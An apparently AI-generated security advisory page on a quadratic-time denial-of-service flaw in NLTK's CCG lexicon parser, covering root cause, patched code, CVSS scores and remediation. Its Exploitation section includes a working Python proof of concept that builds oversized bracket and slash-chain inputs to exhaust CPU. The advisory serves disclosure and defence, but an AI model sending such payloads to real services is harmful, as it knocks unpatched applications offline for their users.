CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-126299

CVE-2026-126299: Quadratic Algorithmic Complexity Denial of Service in NLTK CCG Lexicon Parser

Alon Barad
Alon Barad
Software Engineer

Nov 14, 2026·10 min read·3 visits

Executive Summary (TL;DR)

NLTK versions prior to 3.10.4 suffer from a quadratic time complexity vulnerability in the CCG lexicon parser (`nltk.ccg.lexicon.fromstring`). Flat category definitions with long bracket bodies or operator chains bypass recursion depth checks and trigger O(n^2) string copying, exhausting single-threaded CPU resources.

An algorithmic complexity vulnerability (CWE-407) in the Natural Language Toolkit (NLTK) before version 3.10.4 allows remote unauthenticated attackers to cause a denial of service via crafted Combinatory Categorial Grammar (CCG) lexicon strings. The parser in nltk.ccg.lexicon.fromstring performs repeated immutable string slicing, concatenation, and regex tail capturing, resulting in O(n^2) CPU consumption when processing wide, flat category definitions.

Vulnerability Overview

The Natural Language Toolkit (NLTK) provides modules for processing and parsing various linguistic formalisms, including Combinatory Categorial Grammar (CCG). Within the nltk.ccg.lexicon module, the fromstring function (also re-exported as nltk.ccg.chart.fromstring) parses plain-text lexicon specifications into structured Python grammar objects. When an application exposes this functionality to untrusted user input, the lexicon parser serves as a direct parsing attack surface.

In NLTK versions prior to 3.10.4, nltk.ccg.lexicon contains an inefficient algorithmic complexity vulnerability classified under CWE-407 and CWE-400 (Uncontrolled Resource Consumption). Specifically, the internal helper functions matchBrackets, nextCategory, and augParseCategory iterate over input category strings by repeatedly slicing the unparsed remainder of the string and concatenating characters into new immutable string instances.

Because Python strings are immutable sequences in memory, each slicing and concatenation operation allocates a new buffer and copies the remaining characters. When given a wide, flat category specification of length $n$, the parser executes $O(n)$ steps where each step copies up to $O(n)$ bytes, resulting in $O(n^2)$ time complexity.

Prior to version 3.10.4, the CCG parser included a recursion limit (MAX_PARSE_DEPTH = 500) designed to prevent RecursionError exceptions on deeply nested parentheses, as well as a regular expression timeout wrapper (redos.compile) to prevent catastrophic backtracking. However, neither mechanism restricts horizontal string width on flat inputs, allowing an attacker to bypass existing guards and exhaust CPU resources.

Root Cause Analysis

The quadratic runtime behavior stems from two independent execution paths within nltk/ccg/lexicon.py that manipulate string state by copying tail substrings rather than advancing an index cursor.

Vector A: Bracket Parsing in matchBrackets

When nextCategory encounters an opening parenthesis (, it delegates extraction of the bracketed expression to matchBrackets(string, _depth=0, max_depth=None). In the vulnerable implementation, matchBrackets strips the leading parenthesis via rest = string[1:] and initializes an accumulator inside = "(". It then enters a while loop that inspects rest character by character until a matching ) is found.

For every non-parenthesis character in a flat bracket body (such as (aaaa...)), the else branch executes inside = inside + rest[0] followed by rest = rest[1:]. In CPython, slicing rest[1:] on a string of length $n$ at iteration $i$ allocates a new string object and copies $n - i$ characters. Across $n$ characters, the total number of character copy operations is:

$$\sum_{i=1}^{n} (n - i) = \frac{n(n - 1)}{2} = O(n^2)$$

Simultaneously, inside = inside + rest[0] repeatedly reallocates the growing prefix string, compounding the quadratic memory copying overhead.

Vector B: Operator Chain Slicing in augParseCategory

A second quadratic path occurs when parsing chained category application operators (such as a/a/a/a...) inside augParseCategory and nextCategory. The module defines two compiled regular expressions to tokenize category primitives and application operators:

NEXTPRIM_RE = redos.compile(r"""([A-Za-z]+(?:\[[A-Za-z,]+\])?)(.*)""")
APP_RE = redos.compile(r"""([\\/])([.,_]?)([.,]?)(.*)""")

Both regular expressions conclude with a greedy capture group (.*) intended to capture the unparsed remainder of the category string. During operator chain parsing, augParseCategory loops while rest != "", matching APP_RE against rest and rebinding rest = app[3], followed by calling nextCategory(rest), which matches NEXTPRIM_RE and returns its trailing (.*) group as the new rest.

Whenever the regular expression engine populates the (.*) group and Python extracts it via .groups(), CPython allocates a new string containing a full copy of the unparsed tail. For a flat chain containing $m$ operators, extracting the trailing substring at each operator token requires $O(m)$ string copies of average length $O(m)$, yielding $O(m^2)$ time complexity.

> [!NOTE] > Because both vectors maintain a parenthesis nesting depth of 0 or 1, the _depth counter in matchBrackets and augParseCategory never exceeds 1. Consequently, the if _depth > max_depth: check (MAX_PARSE_DEPTH = 500) is never triggered.

Code Analysis

The vulnerability was remediated in commits 0bb5b947bd235b950cf2f90e893a498e16da0fe3 and cf12a5e6a439fe1d722acd53d4309911faaaaf78 (merged via Pull Request #3944). The patch eliminates string slicing and trailing regex capture groups in favor of integer cursor indexing, list comprehension joins, and an explicit input length ceiling.

Regular Expression Modifications

In the vulnerable code, NEXTPRIM_RE and APP_RE captured the entire remainder of the string using (.*):

# Vulnerable regular expressions in nltk/ccg/lexicon.py
NEXTPRIM_RE = redos.compile(r"""([A-Za-z]+(?:\[[A-Za-z,]+\])?)(.*)""")
APP_RE = redos.compile(r"""([\\/])([.,_]?)([.,]?)(.*)""")

The patched code removes the trailing (.*) capture group from both expressions and introduces MAX_PARSE_LEN = 100_000 as a configurable upper bound on category string length:

# Patched constants and regular expressions in nltk/ccg/lexicon.py
MAX_PARSE_DEPTH = 500
MAX_PARSE_LEN = 100_000
 
# Trailing (.*) removed; parser threads an integer cursor instead
NEXTPRIM_RE = redos.compile(r"""([A-Za-z]+(?:\[[A-Za-z,]+\])?)""")
APP_RE = redos.compile(r"""([\\/])([.,_]?)([.,]?)""")

Cursor Refactoring in matchBrackets and nextCategory

In matchBrackets, the patch replaces rest = string[1:] and string concatenation with an integer index i (initialized to pos + 1) and a Python list inside = ["("]. Characters are appended to the list in $O(1)$ amortized time and joined once via "".join(inside) upon reaching the closing parenthesis:

def matchBrackets(string, pos=0, _depth=0, max_depth=None):
    if max_depth is None:
        max_depth = MAX_PARSE_DEPTH
    if _depth > max_depth:
        raise ValueError(
            f"CCG category nesting exceeds max_depth ({max_depth}); "
            "the input may be adversarially deep. Raise "
            "nltk.ccg.lexicon.MAX_PARSE_DEPTH to allow it."
        )
    n = len(string)
    # Defense-in-depth length check against oversized categories
    if n - pos > MAX_PARSE_LEN:
        raise ValueError(
            f"CCG category length exceeds MAX_PARSE_LEN "
            f"({MAX_PARSE_LEN}); the input may be "
            "adversarially long. Raise "
            "nltk.ccg.lexicon.MAX_PARSE_LEN to allow it."
        )
    inside = ["("]
    i = pos + 1
 
    # Iterate using integer index 'i' instead of slicing 'rest[1:]'
    while i < n and string[i] != ")":
        if string[i] == "(":
            (part, i) = matchBrackets(string, i, _depth + 1, max_depth)
            inside.append(part)
        else:
            inside.append(string[i])
            i += 1
    if i < n and string[i] == ")":
        inside.append(")")
        # Join accumulated tokens once in O(n) time and return updated cursor
        return ("".join(inside), i + 1)
    raise AssertionError("Unmatched bracket in string '" + string[pos:] + "'")

Similarly, nextCategory and augParseCategory were updated to pass pos to NEXTPRIM_RE.match(string, pos) and APP_RE.match(line, pos), advancing pos = m.end() in $O(1)$ time without allocating intermediate substrings:

def nextCategory(string, pos=0, _depth=0, max_depth=None):
    if pos < len(string) and string[pos] == "(":
        return matchBrackets(string, pos, _depth, max_depth)
    # Match in-place at index 'pos' without slicing string
    m = NEXTPRIM_RE.match(string, pos)
    if m is None:
        m.groups()  # preserve original AttributeError on malformed input
    return (m.group(1), m.end(1))

Assessment of Fix Completeness

The refactoring reduces single-level bracket scanning and operator chain tokenization from $O(n^2)$ to $O(n)$ time complexity. One subtle nuance remains in matchBrackets: when nested brackets are present, the parent call appends the child's returned part string and later joins it, while augParseCategory subsequently slices cat_string[1:-1] to recursively parse the inner category. For deeply nested structures, this copies substrings at each nesting level $d$, resulting in $O(n \cdot d)$ complexity. However, because MAX_PARSE_DEPTH restricts $d \le 500$ and MAX_PARSE_LEN restricts $n \le 100,000$, worst-case execution is strictly bounded and the fix is effective.

Exploitation

Exploiting CVE-2026-126299 requires an application to pass attacker-controlled text into nltk.ccg.lexicon.fromstring or nltk.ccg.chart.fromstring. No authentication or special configuration is required at the library level. Even if the supplied category definition eventually fails downstream grammar validation (for example, referencing an undefined primitive category), the quadratic CPU consumption occurs during the initial lexical scanning phase prior to semantic validation.

Proof of Concept

The following script demonstrates both attack vectors on NLTK versions <= 3.10.3. Vector A supplies a single lexicon entry containing a 400,000-character flat bracketed category, while Vector B supplies a 32,000-element slash-operator chain:

import time
import nltk.ccg.lexicon as L
 
# Vector A: Flat bracket body triggering matchBrackets tail re-slicing
n = 400000
lex_a = ":- S\nw => (" + "a" * n + ")\n"
 
# Vector B: Long operator chain triggering augParseCategory tail re-copying
m = 32000
lex_b = ":- a\nw => " + "a" + "/a" * m + "\n"
 
print("[*] Running algorithmic DoS evaluation on NLTK CCG parser...")
for name, s in (("Vector A (Flat Bracket Body)", lex_a), ("Vector B (Operator Chain)", lex_b)):
    t = time.perf_counter()
    try:
        L.fromstring(s)
    except Exception:
        # Downstream grammar errors occur only after CPU exhaustion
        pass
    elapsed = time.perf_counter() - t
    print(f"[-] {name} parsed in: {elapsed:.3f} s")

Empirical Scaling Behavior

Benchmark measurements on unpatched NLTK versions confirm quadratic time growth relative to input size:

  • Vector A (matchBrackets): Increasing $n$ from $50,000$ ($0.078\text{ s}$) to $100,000$ ($0.260\text{ s}$), $200,000$ ($1.046\text{ s}$), and $400,000$ ($2.083\text{ s}$) demonstrates super-linear scaling where doubling the character count approximately quadruples execution time.
  • Vector B (augParseCategory): Increasing $m$ from $4,000$ ($0.078\text{ s}$) to $8,000$ ($0.215\text{ s}$), $16,000$ ($0.485\text{ s}$), $32,000$ ($1.329\text{ s}$), and $40,000$ ($6.850\text{ s}$) exhibits rapid CPU saturation as memory allocation sizes exceed CPU cache tiers.

Impact Assessment

The primary impact of CVE-2026-126299 is a denial of service (DoS) via CPU and memory bandwidth exhaustion. Because CPython execution is bound by the Global Interpreter Lock (GIL), triggering a pure-Python $O(n^2)$ loop in matchBrackets or augParseCategory monopolizes the Python worker process or thread for the duration of the parse.

In web services or NLP microservices deployed behind synchronous WSGI servers (such as Gunicorn or uWSGI) or asynchronous event loops (such as FastAPI/Uvicorn where fromstring is called on the main event loop thread), a small number of concurrent requests containing payloads of a few hundred kilobytes to a few megabytes can block all available worker processes. This prevents the application from servicing legitimate requests until the parser terminates or the worker is killed by an external supervisor.

Under CVSS v3.1, the vulnerability is scored at 7.5 (High) (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H). Under CVSS v4.0, VulnCheck assigns a score of 8.7 (High) (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N). Both scores reflect that the flaw is network-exploitable without privileges or user interaction when the CCG parser is exposed, impacting system availability without compromising confidentiality or integrity.

According to FIRST EPSS metrics, CVE-2026-126299 currently holds an EPSS score of 0.00582 (48.34th percentile), and it is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog.

Remediation

Upgrading NLTK

Users and administrators should upgrade the nltk package to version 3.10.4 or later, which incorporates the linear-time cursor parser and enforces the MAX_PARSE_LEN = 100_000 ceiling by default:

pip install --upgrade "nltk>=3.10.4"

Workarounds and Defense-in-Depth

For environments where an immediate upgrade to NLTK 3.10.4 is not feasible, developers should implement strict pre-validation before invoking nltk.ccg.lexicon.fromstring or nltk.ccg.chart.fromstring:

  1. Enforce Input Length Limits: Reject lexicon strings or individual lines exceeding a conservative character threshold (for example, 1,000 characters per line or 10,000 characters total) prior to calling NLTK.
  2. Restrict Operator and Bracket Counts: Validate that individual category definitions do not contain an excessive number of slash operators (/, \) or character sequences inside parentheses.
  3. Process Isolation and Timeouts: Execute untrusted grammar parsing jobs inside separate worker processes (such as multiprocessing or Celery workers) configured with hard wall-clock execution timeouts and memory limits, ensuring that a stalled parser can be terminated via SIGKILL without stalling the primary application server.

Official Patches

NLTKGitHub Security Advisory GHSA-89p3-fcch-88ph
NLTKPull Request #3944 fixing quadratic complexity in nltk.ccg.lexicon
NLTKNLTK v3.10.4 Release Notes

Fix Analysis (2)

Technical Appendix

CVSS Score
7.5/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Probability
0.58%
Top 52% most exploited

Affected Systems

Natural Language Toolkit (NLTK) Python Library (PyPI: nltk)

Affected Versions Detail

Product
Affected Versions
Fixed Version
nltk
NLTK Project
>= 0.8, <= 3.10.33.10.4
AttributeDetail
CVE IDCVE-2026-126299 (GHSA-89p3-fcch-88ph)
Vulnerability ClassCWE-407: Inefficient Algorithmic Complexity / CWE-400: Uncontrolled Resource Consumption
CVSS Score7.5 High (CVSS v3.1) / 8.7 High (CVSS v4.0)
Attack VectorNetwork (Unauthenticated crafted CCG lexicon input)
Affected Componentnltk.ccg.lexicon.fromstring (matchBrackets, nextCategory, augParseCategory)
Exploit StatusPublic Proof-of-Concept (PoC) Available
EPSS Score0.58% (48.34th Percentile)
Patched Versionnltk 3.10.4

MITRE ATT&CK Mapping

T1499Endpoint Denial of Service
Impact
CWE-407
Inefficient Algorithmic Complexity

An algorithm in a product has an inefficient worst-case computational complexity that is detrimental to system performance and can be triggered by an attacker to cause resource exhaustion.

Vulnerability Timeline

CVE-2026-126299 published by VulnCheck CNA
2026-11-13
GHSA-89p3-fcch-88ph published to OSV database
2026-11-14

References & Sources

  • [1]CVE-2026-126299 Official CVE Record
  • [2]NVD - CVE-2026-126299 Detail
  • [3]GitHub Security Advisory GHSA-89p3-fcch-88ph
  • [4]VulnCheck Advisory: NLTK Before 3.10.4 Quadratic-Time DoS via CCG Lexicon fromstring
  • [5]NLTK Fix Commit 0bb5b947bd235b950cf2f90e893a498e16da0fe3
  • [6]NLTK Merge Commit cf12a5e6a439fe1d722acd53d4309911faaaaf78
  • [7]NLTK Pull Request #3944
  • [8]NLTK Release v3.10.4
  • [9]MITRE ATT&CK Search for CVE-2026-126299

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•17 minutes ago•CVE-2026-126298
7.5

CVE-2026-126298: Quadratic Algorithmic Complexity Denial of Service in NLTK Tree.chomsky_normal_form

CVE-2026-126298 (also tracked as GHSA-r53h-rw34-8h97) is an algorithmic complexity Denial of Service (DoS) vulnerability in the Natural Language Toolkit (NLTK) Python library affecting all versions prior to 3.10.4. The vulnerability resides in the nltk.tree.transforms.chomsky_normal_form function and its corresponding public method Tree.chomsky_normal_form(). When transforming a parse tree into Chomsky Normal Form using the default right-factoring strategy, the function repeatedly invokes list.pop(0) inside a loop iterating over all children of a node. In CPython, removing the initial element of a standard list requires an O(N) memory shift operation, causing the overall binarization algorithm to degrade to O(N^2) quadratic time complexity relative to the width of a node. Furthermore, converting horizontal node width into vertical tree depth bypasses initial parsing depth bounds, triggering subsequent stack exhaustion (RecursionError) when recursive methods traverse the mutated structure. Unauthenticated remote attackers who can submit bracketed tree strings to applications invoking this transformation can exhaust single-threaded CPU resources or induce unhandled application exceptions.

Alon Barad
Alon Barad
1 views•12 min read
•about 2 hours ago•CVE-2026-126295
7.1

CVE-2026-126295: Path Traversal and Unconfined File Access in NLTK BllipParser

CVE-2026-126295 (also tracked as GHSA-fg9w-wfp5-j933) is a path confinement bypass vulnerability in the Natural Language Toolkit (NLTK) affecting versions 3.10.0 prior to 3.10.4. The flaw resides in nltk/parse/bllip.py within the BllipParser class and its factory method BllipParser.from_unified_model_dir(). Unlike sibling tool wrappers in NLTK that enforce data-root confinement via the nltk.pathsec module, BllipParser passes caller-supplied filesystem paths directly into the third-party bllipparser native C extension without validation. When an application passes untrusted input as model paths or directories to BllipParser, an attacker can force the native extension to open arbitrary files on the local filesystem. This leads to information disclosure through parser diagnostic oracles, local model tampering via shared directories, and denial of service by hanging worker threads on blocking special files (such as FIFOs or device nodes) or exhausting memory via oversized files.

Amit Schendel
Amit Schendel
2 views•11 min read
•about 3 hours ago•CVE-2026-126300
5.3

CVE-2026-126300: Algorithmic Complexity Denial of Service in NLTK TreebankWordTokenizer.span_tokenize

CVE-2026-126300 (GHSA-ffr9-mgrr-wcvr) is an inefficient algorithmic complexity vulnerability (CWE-407) in the Natural Language Toolkit (NLTK) Python library affecting versions 3.2.5 prior to 3.10.4. The flaw resides in the quote-restoration routine of TreebankWordTokenizer.span_tokenize and NLTKWordTokenizer.span_tokenize, where repeated calls to list.pop(0) over matched quote tokens introduce quadratic O(n^2) time complexity. An unauthenticated remote attacker who supplies input containing long sequences of double-quote characters can exhaust CPU resources and degrade service availability.

Amit Schendel
Amit Schendel
3 views•10 min read
•about 4 hours ago•GHSA-GPWC-27CW-RH9R
5.3

CVE-2026-126301: Quadratic CPU Exhaustion in NLTK LegalitySyllableTokenizer

The Natural Language Toolkit (NLTK) versions 3.6 through 3.10.3 contain an algorithmic complexity vulnerability in the LegalitySyllableTokenizer.tokenize method. When processing tokens composed of continuous runs of vowels, an unguarded string reversal and set membership lookup loop executes in quadratic time relative to the input token length. Remote attackers capable of submitting arbitrary text to applications utilizing this tokenizer can trigger sustained single-core CPU exhaustion and application-level denial of service.

Amit Schendel
Amit Schendel
4 views•10 min read
•about 5 hours ago•CVE-2026-126304
8.7

CVE-2026-126304: Symlink Path Traversal in NLTK YCOECorpusReader

CVE-2026-126304 is a symlink path traversal vulnerability (CWE-59) in the Natural Language Toolkit (NLTK) versions 3.10.0 prior to 3.10.4. The YCOECorpusReader class constructs internal sub-readers for the 'psd' and 'pos' subdirectories using FileSystemPathPointer.join(), which relies exclusively on lexical string-prefix validation rather than canonical path resolution. An attacker who supplies a crafted YCOE corpus containing symbolic links in place of the 'psd' or 'pos' subdirectories can bypass directory confinement and read arbitrary files from sibling corpora or sensitive directories within the NLTK data sandbox.

Amit Schendel
Amit Schendel
6 views•9 min read
•about 6 hours ago•CVE-2026-128077
6.5

CVE-2026-128077: Authorization Bypass via Request Path Desynchronization in Nuxt and @nuxt/nitro-server

CVE-2026-128077 (GHSA-r99w-jh2x-3mg9) is an authorization bypass and interpretation conflict vulnerability affecting Nuxt and its underlying @nuxt/nitro-server package in versions 4.6.0 through 4.6.3. When an incoming HTTP request path begins with a double forward slash (e.g., //x/admin), the WHATWG URL parser within the Nuxt server-side page renderer interprets the initial segment as a network host/authority and resolves the remaining path (/admin) against the application's page router. Because Nitro server middleware, route-scoped serverHandlers, and Nitro routeRules evaluate the unparsed request path (//x/admin), path-based access controls, redirects, and security header policies configured for /admin fail to match and are bypassed.

Amit Schendel
Amit Schendel
5 views•10 min read